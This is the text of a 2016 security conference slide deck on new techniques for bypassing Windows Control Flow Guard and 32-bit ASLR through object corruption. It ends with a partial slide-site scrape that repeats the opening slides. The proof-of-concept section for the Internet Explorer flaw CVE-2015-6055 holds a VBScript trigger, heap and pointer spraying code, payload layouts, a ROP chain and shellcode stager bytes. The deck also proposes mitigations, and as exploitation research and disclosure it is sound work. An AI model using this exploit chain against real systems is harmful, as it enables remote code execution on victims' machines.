© Pentest Limited 2016 - All rights reserved
Object Oriented Exploitation:
New techniques in Windows
mitigation bypass
Sam Thomas
Agenda
• Object oriented exploitation?
• Object corruption and mitigations
• Two new techniques (theory)
• Control flow gadgets (Generic CFG bypass)
• Shifted pointers (32-bit ASLR bypass)
• Proof of concept - CVE-2015-6055
Agenda
• Object oriented exploitation?
• Object corruption and mitigations
• Two new techniques (theory)
• Control flow gadgets (Generic CFG bypass)
• Shifted pointers (32-bit ASLR bypass)
• Proof of concept - CVE-2015-6055
Object oriented exploitation?
Object Injection
• Deserialization
• User controlled instantiation
Object Corruption
• Type confusion
• Use after free
• Targeted
(overflow/overwrite)
Object corruption
• In Object injection we typically introduce a complete
new Object into the target process/application
• In Object corruption we typically “corrupt” an existing
Object
• We often don’t control the corrupt Object completely:
• Type confusion
• Use after free in isolated heaps [1]
• Targeted by a limited write primitive
• Object is an artificial construct (shifted pointers)
Simple object with virtual methods in
(Visual) C++
*virtual table+0x00
property1+0x04
property2+0x08
property3+0x0c
……
propertyXXX…
*method1+0x00
*method2+0x04
*method3+0x08
*method4+0x0c
……
*methodXXX…
Function tableObject
Simple virtual method invocation
(pre CFG)
Code (32-bit):
(eax = object pointer)
mov ecx, [eax]
push eax
call [ecx+offset]
Code (64-bit):
(rax = object pointer)
mov rax, rcx
mov rax, [rcx]
mov rbx, [rax+offset]
call rbx
Shorthand:
arg0 = OP
call [[OP]+offset]
OP – Object Pointer
Original (pre DEP/ASLR/CFG) corruption
*virtual table+0x00
property1+0x04
property2+0x08
property3+0x0c
……
propertyXXX…
*method1+0x00
*method2+0x04
*method3+0x08
*method invoked+0x0c
……
*methodXXX…
Function tableObject
Original (pre DEP/ASLR/CFG) corruption
corrupt the vtable pointer = control IP
*virtual table+0x00
property1+0x04
property2+0x08
property3+0x0c
……
propertyXXX…
shellcode/stager+0x00
shellcode/stager+0x04
shellcode/stager+0x08
*method invoked+0x0c
……
……
Function tableObject
The method invoked could be pointed to “jmp ecx” when we don’t know the shellcode’s address - Heap feng shui [2]
2009 – DEP – Data Execution Prevention
We can no longer execute data
Code reuse (ROP) to the rescue
Stack pivoting
Code (32-bit):
(eax = object pointer)
mov ecx, [eax]
push eax
call [ecx+offset]
Code (64-bit):
(rax = object pointer)
mov rax, rcx
mov rax, [rcx]
mov rbx, [rax+offset]
call rbx
xchg ecx,esp
retn
0x87, 0xcc, 0xc3
xchg rax,rsp
retn
0x94, 0xc3
• We control IP
• Point at existing
unintended code
• Take control of SP
Original (pre CFG) corruption
corrupt the vtable pointer = control SP
*virtual table+0x00
property1+0x04
property2+0x08
property3+0x0c
……
propertyXXX…
ROP+0x00
ROP+0x04
ROP+0x08
*stack pivot+0x0c
……
shellcode/stager…
Function tableObject
2012 – VTGuard
Virtual Table Guard
• Some virtual tables now have an extra entry which is
a cookie checked on invocation
• It’s value is entirely dependent on the DLL’s base address
2012 – Effective ASLR
Address Space Layout Randomisation
• Code is no longer at a known location
• Object corruption still works but we need to know the
address of known code within the system
• “The infoleak era on software exploitation” [3]
2014 – CFG – Control Flow Guard
*virtual table+0x00
property1+0x04
property2+0x08
property3+0x0c
……
propertyXXX…
*method1+0x00
*method2+0x04
*method3+0x08
*method4+0x0c
……
*methodXXX…
Function tableObject
Pointers for invoked functions must point to valid functions
? ?
Simple virtual method invocation
(CFG)
Code (32-bit):
(eax = object pointer)
mov ebx, [eax]
push eax
mov ecx,[ebx+offset]
mov edi, esp
call ds:___guard_check_icall_fptr
call [ebx+offset]
cmp edi, esp
jne diediedie
Shorthand:
arg0 = OP
(check icall target)
call [[OP]+offset]
(check esp not desynced)
OP – Object Pointer
Simple virtual method invocation
(CFG)
Code (64-bit):
(rax = object pointer)
mov rdi, rax
mov rax, [rdi]
mov rbx, [rax+offset]
mov rcx, rbx
call cs:__guard_check_icall_fptr
mov rcx, rdi
call rbx
Shorthand:
arg0 = OP
(check icall target)
call [[OP]+offset]
OP – Object Pointer
Agenda
• Object oriented exploitation?
• Object corruption and mitigations
• Two new techniques (theory)
• Control flow gadgets (Generic CFG bypass)
• Shifted pointers (32-bit ASLR bypass)
• Proof of concept - CVE-2015-6055
CFG – previous known attacks
• Several attacks make heavy use of read/write
primitives to modify stack or cause unguarded
invocations [4] [5] [6]
• Rafal Wojtczuk made an interesting observation about
a 32-bit only “stack desynchronization” attack that
worked before CFG was further hardened [7]
Control Flow Gadgets
• We’re going to look at a code reuse attack based on
using valid icall targets as our gadgets
• I’m certainly not the first person to do this – see [8] - “Counterfeit
Object-oriented programming”
• We’ll be looking at object corruption and obtaining
ROP execution
• Where the focus of ROP is the stack, our focus is the
current Object (“this”), the first argument passed to
any of our gadgets
Control Flow Gadgets
*virtual table+0x00
*(&LoadLibraryA – offset)+0x04
*”uncpathnasty.dll”+0x08
property3+0x0c
……
*method1+0x00
*method2+0x04
*method3+0x08
*valid icall target+0x0c
……
Function tableObject
Using object corruption to call imported functions
Valid icall target:
this->property1->method(this->property2)
Mitigated sensitive functions
• NtContinue/longjmp
• VirtualProtect/VirtualAlloc (Edge)
• LoadLibrary (Edge)
• WinExec (Edge on Windows 10 AE)
Source [9] - “Windows 10 Mitigation Improvements” – Blackhat 2016
Overwrite return address on the stack
“Known limitation that we intend to address with new
technology (e.g. with Intel CET)”
Mismatching arguments
• A pointer to a local variable (on the stack) sometimes
gets passed as an argument
• If we can get this passed to a function that treats it as
an object on which it sets a property at the relevant
offset the return address will be overwritten
void stackOverwrite1()
{
…
int localvar;
this->method(&localvar);
…
}
void stackOverwrite2(object var)
{
…
var->propertyA=this->propertyB;
…
}
Imagine two mismatched methods
…+0x00
return address+0x04
argument+0x08
local variable+0x0c
……
return address…
…+0x00
……
propertyA…
Stack
Actual code:
movups xmm0, xmmword ptr [rcx+1A0h]
movups xmmword ptr [rdx], xmm0
movups xmm1, xmmword ptr [rcx+1B0h]
movups xmmword ptr [rdx+10h], xmm1
movups xmm0, xmmword ptr [rcx+1C0h]
movups xmmword ptr [rdx+20h], xmm0
retn
64 bit stackOverwrite2
CDCompLayer::GetRoundedBordersClipping:
Short hand:
[edx+0] = [ecx+1a0]
[edx+10] = [ecx+1b0]
[edx+20] = [ecx+1c0]
return
*note 128-bit memory ops
Actual code:
mov [rsp+arg_8], rbx
mov [rsp+arg_0], rcx
push rdi
sub rsp, 30h
mov rax, [rsp+38h+arg_0]
mov rdi, [rax+20h]
mov rax, [rdi]
mov rbx, [rax+98h]
mov rcx, rbx
call cs:__guard_check_icall_fptr
lea rdx, [rsp+38h+var_18]
mov rcx, rdi
call rbx
movsx eax, [rsp+38h+var_18]
mov rbx, [rsp+38h+arg_8]
and eax, 1
add rsp, 30h
pop rdi
retn
64-bit stackOverwrite1 – CHTMLEditEvent::IsLeftButton:
Short hand:
edx=&var_18
ecx=[ecx+20h]
call [[ecx]+98h]
return
Control Flow Gadgets
vtable pointer + given property = control SP
*virtual table+0x00
property1+0x04
property2+0x08
property3+0x0c
*stack pivot…
propertyXXX…
ROP+0x00
*stackOverwrite2+0x04
ROP+0x08
*stackOverwrite1+0x0c
……
shellcode/stager…
Function tableObject
Control Flow Gadgets
what if we don’t control the given property?
*virtual table+0x00
property1+0x04
property2+0x08
property3+0x0c
*stack pivot…
propertyXXX…
ROP+0x00
*stackOverwrite2+0x04
ROP+0x08
*stackOverwrite1+0x0c
……
shellcode/stager…
Function tableObject
Control Flow Gadgets
vtable pointer + some property = control SP
*virtual table+0x00
property1+0x04
property2+0x08
property3+0x0c
*stack pivot…
propertyXXX…
ROP+0x00
*stackOverwrite2+0x04
ROP+0x08
*stackOverwrite1+0x0c
……
shellcode/stager…
Function table 2Object 2
*virtual table+0x00
property1+0x04
property2+0x08
property3+0x0c
……
propertyXXX…
Object 1
…+0x00
*pivotToProperty+0x04
…+0x08
……
Function table 1 pivotToProperty:
…
this->property1->method();
…
Control Flow Gadgets
what if we don’t control any properties?
*virtual table+0x00
property1+0x04
property2+0x08
property3+0x0c
*stack pivot…
propertyXXX…
ROP+0x00
*stackOverwrite2+0x04
ROP+0x08
*stackOverwrite1+0x0c
……
shellcode/stager…
Function table 2Object 2
*virtual table+0x00
property1+0x04
property2+0x08
property3+0x0c
……
propertyXXX…
Object 1
…+0x00
*pivotToProperty+0x04
…+0x08
……
Function table 1 pivotToProperty:
…
this->property1->method();
…
Control Flow Gadgets
If we could somehow pivot to vtable….
*virtual table+0x00
property1+0x04
property2+0x08
property3+0x0c
*stack pivot…
propertyXXX…
ROP+0x00
*stackOverwrite2+0x04
ROP+0x08
*stackOverwrite1+0x0c
……
shellcode/stager…
Function table 2
Function table 1 /
Object 2
*virtual table+0x00
property1+0x04
property2+0x08
property3+0x0c
……
propertyXXX…
Object 1
?
Unintended arguments
• The 32-bit implementation of CFG checks for a
mismatched number of arguments after invocation
• There is no check on 64-bit
• We can invoke a method with more arguments than
we supply, unintended (register/stack) values will be
interpreted as arguments
• If we could manage to have the vtable pointer
interpreted as an argument, then have a method
invoked on that argument – we will have pivoted
Vtable pointer as an unintended
argument?
32-bit
• Most arguments are
placed on the stack
• We need to place the
vtable pointer onto the
stack
• And interpret it as an
argument
• We can mismatch
stdcall/thiscall (like [7])
64-bit
• First four arguments are
passed by register
• Find a register set as the
vtable pointer
• And interpret it as an
argument
Actual code:
…
mov rax, [rcx]
mov rsi, rcx
mov rbp, r8
mov r14, rdx
mov rbx, [rax+48h]
mov rcx, rbx
call cs:__guard_check_icall_fptr
mov rcx, rsi
call rbx
mov r9, [rsi]
mov edi, eax
mov rbx, [r9+20h]
mov rcx, rbx
call cs:__guard_check_icall_fptr
mov rcx, rsi
call rbx
64 bit vtablePivot1 - CDXEffect::Initialize:
Short hand:
call [[ecx]+48h]
r9 = [ecx] = vtable pointer
call [[ecx]+98h]
Actual code:
mov rax, rsp
mov [rax+20h], r9
mov [rax+18h], r8
mov [rax+10h], rdx
mov [rax+8], rcx
push rbx
push rsi
push rdi
push r14
sub rsp, 28h
mov rdi, rcx
mov rsi, r9
test r9, r9
jz short loc_1800334E8
mov rax, [r9]
mov rbx, [rax+8]
mov rcx, rbx
call cs:__guard_check_icall_fptr
mov rcx, rsi
call rbx
64 bit vtablePivot2 - CDMTouchTarget::Initialize:
Short hand:
ecx=r9
call [[ecx]+8]
Pseudocode:
…
arg4->method();
…
Control Flow Gadgets
We can pivot to vtable….
*virtual table+0x00
property1+0x04
*pivotToVtable1+0x08
*pivotToVtable2+0x0c
*stack pivot…
propertyXXX…
ROP+0x00
*stackOverwrite2+0x04
ROP+0x08
*stackOverwrite1+0x0c
……
shellcode/stager…
Function table 2
Function table 1 /
Object 2
*virtual table+0x00
property1+0x04
property2+0x08
property3+0x0c
……
propertyXXX…
Object 1
Control Flow Gadgets
corrupt the vtable pointer = control SP
*virtual table+0x00
property1+0x04
property2+0x08
property3+0x0c
……
propertyXXX…
*virtual table+0x00
ROP…
*vtablePivot1…
*vtablePivot2…
*stackOverwrite1…
*stackOverwrite2…
*stack pivot…
……
shellcode/stager…
Function tableObject
Agenda
• Object oriented exploitation?
• Object corruption and mitigations
• Two new techniques (theory)
• Control flow gadgets (Generic CFG bypass)
• Shifted pointers (32-bit ASLR bypass)
• Proof of concept - CVE-2015-6055
ASLR – Binary/DLL loading (32-bit)
• Entropy of DLL base address often stated as 8-bits (e.g. [10])
• Effective entropy is actually higher for most DLLs
• Applications and there DLLs not loaded in the same order every time
• DLL’s base address 0x10000 aligned
00 00 b1 60
Heap spraying
• Ancient technique – SkyLined 2004! [11]
• It’s not only static data that can be sprayed
• We’ll be doing a pointer spray (See [12] for another example)
• Easy to achieve 0x10000 alignment (big allocations)
Shifted pointers
0x28000000 00 00 00 00 f0 ff 00 00 00 00 00 00 08 08 00 00
0x28000010 00 14 01 00 e4 e5 b1 60 38 18 00 00 09 00 00 00
0x28000000 00 00 00 00 f0 ff 00 00 00 00 00 00 08 08 00 00
0x28000010 00 14 01 00 e4 e5 b1 60 38 18 00 00 09 00 00 00
Shifted pointer
Pointer
• Wherever there is a pointer there is also a shifted pointer
• If we control the byte adjacent to the pointer, or it takes a desirable value, we can control the
data it’s shifted pointer points to
• If we can create a pointer to within a DLL, it’s shifted pointer contains the relevant information to
determine it’s base address
• We can use this to cause an exploit to “lookup” the relevant payload depending on the DLL’s
base address when we control an object pointer
shifted pointer payload
pointer to shifted
pointer shifted pointers
0x00000000
before spray after spray
Shifted pointers - before and after spray
free used sprayed with pointers sprayed with payload
If we corrupt an object pointer so that it points to
a shifted pointer and invoke a method on that
object it will call:
[[PSP]+offset]=[SP+offset]
Our payload is a repeating pattern 0x10000 bytes
in length and is 0x10000 aligned, so a different
0x100 byte section will be selected for each
possible value of the 3rd highest byte of the
shifted pointer (2nd highest byte of the original
pointer)
Essentially we are selecting which of 0x100 (fake)
vtables to use dependent on the value of the
DLL’s base address
*Note:
PSP = Pointer to Shifted Pointer
SP = Shifted Pointer
e5 b1 60 38e4 e5 b1 60
Shifted pointers
beyond 8-bits of entropy
pointer to the shifted pointer pointer allocation 0
pointer to the shifted pointer pointer allocation 1
pointer to the shifted pointer pointer allocation 2
pointer to the shifted pointer pointer allocation 3
pattern repeats
pointer allocation 0
pointer allocation 1
pointer allocation 2
pointer allocation 3
payload
pattern repeats
payload
• We cannot align our payload beyond 0x10000 bytes
• To attack the other bits of entropy within the DLL’s
base address we must account for multiple alignments
• We can do this by using multiple shifted pointers
• We place our payload (a repeating pattern 0x40000
bytes in length) directly after a repeating sequence of
four pointer allocations
• Which shifted pointer is active at a fixed address
determines the alignment of both the pointer
allocations and payload.
• By overlaying 4 different 0x40000 byte payloads (one
for each alignment) we can handle 10-bits of entropy in
the base address.
Agenda
• Object oriented exploitation?
• Object corruption and mitigations
• Two new techniques (theory)
• Control flow gadgets (Generic CFG bypass)
• Pointer spraying and shifted pointers (32-bit ASLR bypass)
• Proof of concept - CVE-2015-6055
CVE-2015-6055
• Francisco Falcón has taken a good look at this one –
see [13] “Exploiting Internet Explorer’s MS15-106, Part
I: VBScript Filter Type Confusion Vulnerability (CVE-
2015-6055)” for a more detailed explanation of the
vulnerability.
• For our purposes it’s a fairly simple type confusion
vulnerability which gives us control of an object
pointer to an object on which a method is invoked.
CVE-2015-6055
Triggering CVE-2015-6055
<SCRIPT language="VBScript">
Set x = CreateObject("Microsoft.XMlHTTP")
x.Open "GET", "confusing.bin", false
x.Send
q = x.responseBody
MyIndex = Filter(q,"aaa",true, 1)
</SCRIPT>
09 00 ?? ?? ?? ?? ?? ?? XX XX XX XX ?? ?? ?? ??
confusing.bin
…
mov eax,[esi]
mov edi,[eax]*
lea eax,[esp+0x14]
cmp edi,offset vbscript!NameTbl::QueryInterface
je vbscript!VAR::ObjGetDefault+0x1d4
mov esi,esp
mov ecx,edi
push eax
push offset vbscript!IID_IDispatchEx
push dword ptr [esp+0x20]
call dword ptr [vbscript!__guard_check_icall_fptr]
call edi
vbscript!VAR::ObjGetDefault (Where we end up)
*Note: The first entry from the vtable is called,
this causes us a minor inconvenience. If we pivot
to the vtable the vtable’s vtable pointer is already
used.
PoC – Creating the shifted pointers
First, template DOM elements are created through
the “document.createElement” function. These
elements are then augmented with custom attributes
through their “.setAttribute” method, so that their
representation in memory (including any headers)
takes 0x10000 bytes.
For various attributes these DOM elements contain a
pointer to MSHTML.DLL next to a user controlled
value. We will use the “width” attribute.
Different element types use different pointers.
magicE_0 = document.createElement("img");
magicE_0.width = target_width;
for (i=0;i<16*256-2;i++)
{
magicE_0.setAttribute("data-xxx"+i,null);
}
for (i=0;i<256*8;i++)
{
arr[i*4]=magicE_0.cloneNode();
arr[i*4+1]=magicE_1.cloneNode();
arr[i*4+2]=magicE_2.cloneNode();
arr[i*4+3]=magicE_3.cloneNode();
}
Creating a template element
Pointer spray with template elements
Element Pointer
IMG mshtml+0x0d0efc
TD mshtml+0x21e1e8
TABLE mshtml+0x21e5e4
HR mshtml+0x21fe14
PoC – Pattern of shifted pointers
0x28000000 00 00 00 00 f0 ff 00 00 00 00 00 00 08 08 00 00
0x28000010 00 14 01 00 14 fe b1 60 38 18 00 00 09 00 00 00
………………
0x28010000 00 00 00 00 f0 ff 00 00 00 00 00 00 08 08 00 00
0x28010010 00 14 01 00 fc 0e 9d 60 38 18 00 00 09 00 00 00
………………
0x28020000 00 00 00 00 f0 ff 00 00 00 00 00 00 08 08 00 00
0x28020010 00 14 01 00 e8 e1 b1 60 38 18 00 00 09 00 00 00
………………
0x28030000 00 00 00 00 f0 ff 00 00 00 00 00 00 08 08 00 00
0x28030010 00 14 01 00 e4 e5 b1 60 38 18 00 00 09 00 00 00
………………
0x28040000 00 00 00 00 f0 ff 00 00 00 00 00 00 08 08 00 00
0x28040010 00 14 01 00 14 fe b1 60 38 18 00 00 09 00 00 00
………………
PoC – vtable pivot gadgets
SP pivotToVtable1 xx xx xx xx xx xx xx xx P2P
SP+0x10 xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx
SP+0x20 xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx
SP+0x30 xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx
SP+0x40 xx xx xx xx xx xx xx xx vtguard xx xx xx xx
SP+0x50 xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx
SP+0x60 xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx
SP+0x70 xx xx xx xx xx xx xx xx xx xx xx xx pivotToVtable2
SP+0x80 xx xx xx xx pivotToProperty xx xx xx xx xx xx xx xx
pivotToVtable1
edi = [arg0]
check [[arg0]+0x48] = vtguard
push arg0
call [[arg0]+ 0x7c]
pivotToVtable2
push edi
call [[arg0]+0x84]
(stdcall/thiscall mismatch)
pivotToProperty
push [arg0+0xc] (P2P)
call [[[arg0+c]]+0x48]
([[P2P]+48])
CBase::SetAttribute CMarkupPointer::IsRightOfOrEqualTo Ptls6::ClsAnimObject::CalcPresentation
PoC – Overlaying vtable pivot gadgets
0x38????00 pTV. 1 xx xx xx xx xx xx xx xx P2P pTV. 1
0x38????10 pTV. 1 xx xx xx xx xx xx xx xx P2P xx xx
0x38????20 xx xx xx xx xx xx xx xx xx vtguard vtguard
0x38????30 … xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx
0x38????40 xx xx xx xx xx xx vtguard xx xx xx xx xx xx
0x38????50 xx xx xx xx xx xx vtguard xx xx xx pTV2
0x38????60 … pivotToVtable2 pivotToProperty pivotToProperty xx xx xx
0x38????70 xx xx xx xx xx xx xx xx xx xx pivotToVtable2 xx xx
0x38????80 xx xx pivotToProperty xx xx xx xx pivotToVtable2 xx xx
0x38????90 xx xx pivotToProperty xx xx xx xx xx xx xx xx xx xx
0x38????a0 xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx
0x38????b0 xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx
0x38????c0 xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx
0x38????d0 xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx
0x38????e0 xx pivotToVtable1 pivotToVtable1 xx xx xx xx P2P
0x38????f0 … P2P xx xx xx xx xx xx xx xx xx pTV. 1
PoC – stack overwrite gadgets
stackOverwrite1
(and [arg4],0)
check [[arg0]+328] = vtguard
new arg4 = var4 (ebp - 4)
call [[arg0]+228]
(check eax not zero, not signed)
return
stackOverwrite2
[arg4+0] = [arg0+1c]
[arg4+4] = [arg0+20]
[arg4+8] = [arg0+24]
[arg4+c] = [arg0+28]
return
CElement::get_firstChild CCompositionItem::GetBounds
• Overwrite EBP and return address
• EBP->*ROP (-4)
• Return address->*(leave, retn)
We need to set vt2+0x228 and
vt2+0x328 which overlap on a per
0x100 byte basis. So we will need to
interleave “odd” and “even” copies.
P2P vtable2 xx xx xx xx xx xx xx xx xx xx xx xx
P2P+0x10 xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx
P2P+0x20 *ROP-4 *(leave, retn) xx xx xx xx xx xx xx xx
vt2+0x228/0x328 sO2/vtg xx xx xx xx xx xx xx xx xx xx xx xx
vt2+0x38 xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx
vt2+0x48 stackOverwrite1 xx xx xx xx xx xx xx xx xx xx xx xx
PoC – Overlaying stack pivot gadgets
0x38????00 pTV. 1 sO2-e/vtg xx xx xx xx P2P pTV. 1
0x38????10 pTV. 1 vtable2 xx xx xx xx P2P vt2
0x38????20 vt2 stackOverwrite1-e xx xx xx vtguard vtguard
0x38????30 … xx *ROP-4 *(leave, retn) xx xx xx xx *ROP-4
0x38????40 *ROP-4 *(leave, retn) vtguard xx xx xx so2-o/vtg
0x38????50 … xx vtable2 vtguard xx xx xx pTV2
0x38????60 … pivotToVtable2 pivotToProperty pivotToProperty sO1-o
0x38????70 … xx *ROP-4 *(leave, retn) pivotToVtable2 xx xx
0x38????80 xx xx pivotToProperty xx xx xx xx pivotToVtable2 xx xx
0x38????90 xx xx pivotToProperty xx xx xx xx xx xx xx xx xx xx
0x38????a0 xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx
0x38????b0 xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx
0x38????c0 xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx
0x38????d0 xx xx xx xx xx xx vtable2 xx xx xx xx xx xx
0x38????e0 xx pivotToVtable1 pivotToVtable1 xx xx xx xx P2P
0x38????f0 … P2P xx *ROP-4 *(leave, retn) pTV. 1
PoC – ROP chain & shellcode stager
Offset Value
0x00 pop eax, ret MSHTML + 0x38593f
0x04 *VirtualProtect MSHTML + 0x11d0594
0x08 jmp [eax] MSHTML + 0x1c4257
0x0c return address (shellcode) 0x385e00b6
0x10 lpAddress (shellcode) 0x385e00b6
0x14 size 0x00010001
0x18 flNewProtect 0x40000040
0x1c lpOldProtect 0x28000015
0xbf, 0xd4, 0x00, 0x5e, 0x38, // mov edi, 0x385e00d4
0xbe, 0xb6, 0x01, 0x5e, 0x38, // mov esi, 0x385e01b6
0x33, 0xc0, // xor eax,eax
0x89, 0xc1, // mov ecx,eax
0x04, 0xff, // add al,0xff
// loop:
0x83, 0xc1, 0x1e, // add ecx,0x1e
0xf3, 0xa4, // repe movs.b
0x83, 0xc6, 0x71, // add esi,0x71
0x83, 0xc6, 0x70, // add esi,0x70
0x48, // dec eax
0x75, 0xf2 // jne loop
ROP
• Not dependent on alignment
• Place one copy per 0x100 byte section
• 4 different pointers to it
Shellcode stager
• At offset 0xb6 in every 0x10000 section
• Run from 0x385e00b6
• Copies subsequent code from offset 0xb6
to 0xd5 from next 0xff 0x100 byte
sections
PoC – 0x100 byte section of payload
0x38????00 pTV. 1 sO2-e/vtg xx xx xx xx P2P pTV. 1
0x38????10 pTV. 1 vtable2 xx xx xx xx P2P vt2
0x38????20 vt2 stackOverwrite1-e xx xx xx vtguard vtguard
0x38????30 … xx *ROP-4 *(leave, retn) xx xx xx xx *ROP-4
0x38????40 *ROP-4 *(leave, retn) vtguard xx xx xx so2-o/vtg
0x38????50 … xx vtable2 vtguard xx xx xx pTV2
0x38????60 … pivotToVtable2 pivotToProperty pivotToProperty sO1-o
0x38????70 … xx *ROP-4 *(leave, retn) pivotToVtable2 xx xx
0x38????80 xx xx pivotToProperty xx xx xx xx pivotToVtable2 xx xx
0x38????90 xx xx pivotToProperty ROP
0x38????a0 ROP
0x38????b0 ROP shellcode
0x38????c0 shellcode
0x38????d0 shellcode vtable2 xx xx xx xx xx xx
0x38????e0 xx pivotToVtable1 pivotToVtable1 xx xx xx xx P2P
0x38????f0 … P2P xx *ROP-4 *(leave, retn) pTV. 1
0x38????a0 xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx
Demo time
Summary
• Control Flow Gadgets
• Object oriented bypass of CFG
• Usable in just about any scenario we encounter CFG on an Object
• Need gadgets
• Shifted pointers
• Object oriented bypass of 32-bit ASLR
• Usable when we can overwrite a double dereferenced call (i.e. Object
pointer)
• Applicable to a wider range of applications and vulnerabilities than
read/write approach
• Need pointer and data spraying primitives (controlled allocations)
Conclusions
• CFG is ineffective against object corruption in it’s current
form in the presence of sufficient valid icall targets /
control flow gadgets.
• Stack overwrite gadgets mean control of vftable + properties gives control
• VFTable pivot gadgets mean vftable control sufficient
• 32-bit ASLR is ineffective against object pointer
corruption in it’s current form in the presence of sufficient
memory allocation primitives.
• Simple pointer and heap spraying allows 8-bit reduction in effective
entropy when an object pointer can be overwritten (and method invoked)
• Multiple pointer spray allows 10-bit reduction
Suggested mitigations
Control Flow Gadgets
• Method segregation
• Unintended arguments would be largely addressed by grouping methods
by number of arguments and only invoking a method with the intended
number of arguments
• We could consider imperfect grouping (e.g. 0,1,2,3,4,5,6,7+ args)
• Have compiler place icall targets with Z args aligned to 0xZ0
• Minimal runtime cost and impact on binary size
• Stack protection
• CET (isolated return address stack) – note hardware level mitigation [14]
• Shadow return address and frame pointer used on icall targets which invoke
with local variables
• VTGuard hardening
• VTGuard not based exclusively on the DLL’s base address
Suggested mitigations
Shifted Pointers
• Enforced pointer alignment
• Normal object pointers are (always?) well aligned
• Enforce pointer alignment (and ptr,0x7ffffffc)
• Select high risk objects probabilistically (like VTGuard)
Questions?
References
[1] Hariri, Gorenc, Zuckerbraun – Abusing Silent Mitigations - Blackhat 2015
https://www.blackhat.com/docs/us-15/materials/us-15-Gorenc-Abusing-Silent-Mitigations-Understanding-Weaknesses-Within-Internet-Explorers-
Isolated-Heap-And-MemoryProtection.pdf
[2] Sotirov – Heap Feng Shui
https://www.blackhat.com/presentations/bh-europe-07/Sotirov/Presentation/bh-eu-07-sotirov-apr19.pdf
[3] Serna – The info leak era on software exploitation
https://media.blackhat.com/bh-us-12/Briefings/Serna/BH_US_12_Serna_Leak_Era_Slides.pdf
[4] Falcón - Exploiting CVE-2015-0311, Part II: Bypassing Control Flow Guard on Windows 8.1 Update 3
https://blog.coresecurity.com/2015/03/25/exploiting-cve-2015-0311-part-ii-bypassing-control-flow-guard-on-windows-8-1-update-3/
[5] Zhang – Bypass Control Flow Guard Comprehensively – Blackhat 2015
https://www.blackhat.com/docs/us-15/materials/us-15-Zhang-Bypass-Control-Flow-Guard-Comprehensively-wp.pdf
[6] Chen – The Birth of a Complete IE11 Exploit Under the New Exploit Mitigations – SyScan 2015
https://infocon.org/cons/SyScan/SyScan%202015%20Singapore/SyScan%202015%20Singapore%20presentations/SyScan15%20Yuki%20Chen%20-
%20The%20Birth%20of%20a%20Complete%20IE11%20Exploit%20Under%20the%20New%20Exploit%20Mitigations.pdf
[7] Wotjczuk - An interesting detail about Control Flow Guard
https://labs.bromium.com/2015/09/28/an-interesting-detail-about-control-flow-guard/
[8] Schuster, Tendyk, Leibchen, Davi, Sadeghi, Holz – Conterfeit Object-oriented Programming
https://www.informatik.tu-darmstadt.de/fileadmin/user_upload/Group_TRUST/PubsPDF/2015_-_IEEE_SP_-_COOP.pdf
[9] Weston, Miller – Windows 10 Mitigation Improvements - Blackhat 2016
https://www.blackhat.com/docs/us-16/materials/us-16-Weston-Windows-10-Mitigation-Improvements.pdf
References
[10] Johnson, Miller – Windows 8 Mitigation Improvements – Blackhat 2012
https://media.blackhat.com/bh-us-12/Briefings/M_Miller/BH_US_12_Miller_Exploit_Mitigation_Slides.pdf
[11] Wever - Internet Explorer IFRAME src&name parameter BoF
https://web.archive.org/web/20041207093438/http://www.edup.tudelft.nl/%7Ebjwever/advisory_iframe.html
[12] Fratric – Exploit Internet Explorer 11 64-bit
http://ifsec.blogspot.co.uk/2013/11/exploiting-internet-explorer-11-64-bit.html
[13] Falcón - Exploiting Internet Explorer’s MS15-106, Part I: VBScript Filter Type Confusion Vulnerability (CVE-2015-6055)
https://blog.coresecurity.com/2016/04/25/exploiting-internet-explorers-ms15-106-part-i-vbscript-filter-type-confusion-vulnerability-cve-2015-6055/
[14] Patel – Intel release new technology specifications to protect against ROP attacks
https://blogs.intel.com/evangelists/2016/06/09/intel-release-new-technology-specifications-protect-rop-attacks/

Object Oriented Exploitation: New techniques in Windows mitigation bypass

  • 1.
    © Pentest Limited2016 - All rights reserved Object Oriented Exploitation: New techniques in Windows mitigation bypass Sam Thomas
  • 3.
    Agenda • Object orientedexploitation? • Object corruption and mitigations • Two new techniques (theory) • Control flow gadgets (Generic CFG bypass) • Shifted pointers (32-bit ASLR bypass) • Proof of concept - CVE-2015-6055
  • 4.
    Agenda • Object orientedexploitation? • Object corruption and mitigations • Two new techniques (theory) • Control flow gadgets (Generic CFG bypass) • Shifted pointers (32-bit ASLR bypass) • Proof of concept - CVE-2015-6055
  • 5.
    Object oriented exploitation? ObjectInjection • Deserialization • User controlled instantiation Object Corruption • Type confusion • Use after free • Targeted (overflow/overwrite)
  • 6.
    Object corruption • InObject injection we typically introduce a complete new Object into the target process/application • In Object corruption we typically “corrupt” an existing Object • We often don’t control the corrupt Object completely: • Type confusion • Use after free in isolated heaps [1] • Targeted by a limited write primitive • Object is an artificial construct (shifted pointers)
  • 7.
    Simple object withvirtual methods in (Visual) C++ *virtual table+0x00 property1+0x04 property2+0x08 property3+0x0c …… propertyXXX… *method1+0x00 *method2+0x04 *method3+0x08 *method4+0x0c …… *methodXXX… Function tableObject
  • 8.
    Simple virtual methodinvocation (pre CFG) Code (32-bit): (eax = object pointer) mov ecx, [eax] push eax call [ecx+offset] Code (64-bit): (rax = object pointer) mov rax, rcx mov rax, [rcx] mov rbx, [rax+offset] call rbx Shorthand: arg0 = OP call [[OP]+offset] OP – Object Pointer
  • 9.
    Original (pre DEP/ASLR/CFG)corruption *virtual table+0x00 property1+0x04 property2+0x08 property3+0x0c …… propertyXXX… *method1+0x00 *method2+0x04 *method3+0x08 *method invoked+0x0c …… *methodXXX… Function tableObject
  • 10.
